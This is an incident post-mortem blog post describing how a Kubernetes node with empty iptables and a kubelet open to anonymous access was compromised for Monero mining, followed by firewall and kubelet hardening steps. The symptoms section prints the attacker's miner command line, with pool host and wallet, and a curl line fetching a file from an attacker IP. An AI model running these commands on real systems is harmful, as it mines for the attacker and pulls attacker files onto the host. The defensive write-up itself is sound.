How a Misconfigured Kubelet Led to a Crypto‑Mining Breach and What to Do
A self‑built Kubernetes cluster suffered a crypto‑mining intrusion due to empty iptables and a misconfigured kubelet, prompting a detailed post‑mortem that outlines the symptoms, root‑cause analysis, and practical hardening steps to protect similar environments.
Invasion Symptoms
We discovered an abnormal process on a node that was actually a crypto‑mining program.
<code>./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm
curl -s http://45.9.148.35/scan_threads.dat</code>The machine was being used for mining, and we immediately stopped Docker to isolate the environment and dump the malicious binary for further analysis.
Root‑Cause Investigation
Empty iptables
The node had no firewall rules (iptables empty), leaving it completely exposed to the internet.
Kubelet exposure
Colleagues suspected kubelet compromise. Log inspection revealed suspicious entries.
Misconfigured kubelet
The kubelet was started with parameters that allowed direct API access. A configuration line that should have disabled anonymous access was commented out, so the restriction was never applied.
Further inspection showed the commented‑out line and the missing authentication settings.
Improvement Plan
Enforce a default‑deny firewall on every node; close all ports and open only those required after manual verification.
Avoid assigning public IPs to nodes that do not need external exposure; reduce attack surface.
Bind kubelet and other services to internal IPs instead of 0.0.0.0.
Disable anonymous access and implement proper authentication/authorization for any service that could be accessed without credentials.
Adopt scripted, repeatable operational procedures rather than manual ad‑hoc commands to reduce human error and improve traceability.
Conclusion
After the breach, colleagues joked about the lack of financial loss, but the incident was serious: the attacker gained full control over Docker on the compromised node. This highlights the importance of hardening firewalls, limiting unnecessary port exposure, and securing kubelet configurations to prevent similar compromises.
Efficient Ops
This public account is maintained by Xiaotianguo and friends, regularly publishing widely-read original technical articles. We focus on operations transformation and accompany you throughout your operations career, growing together happily.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.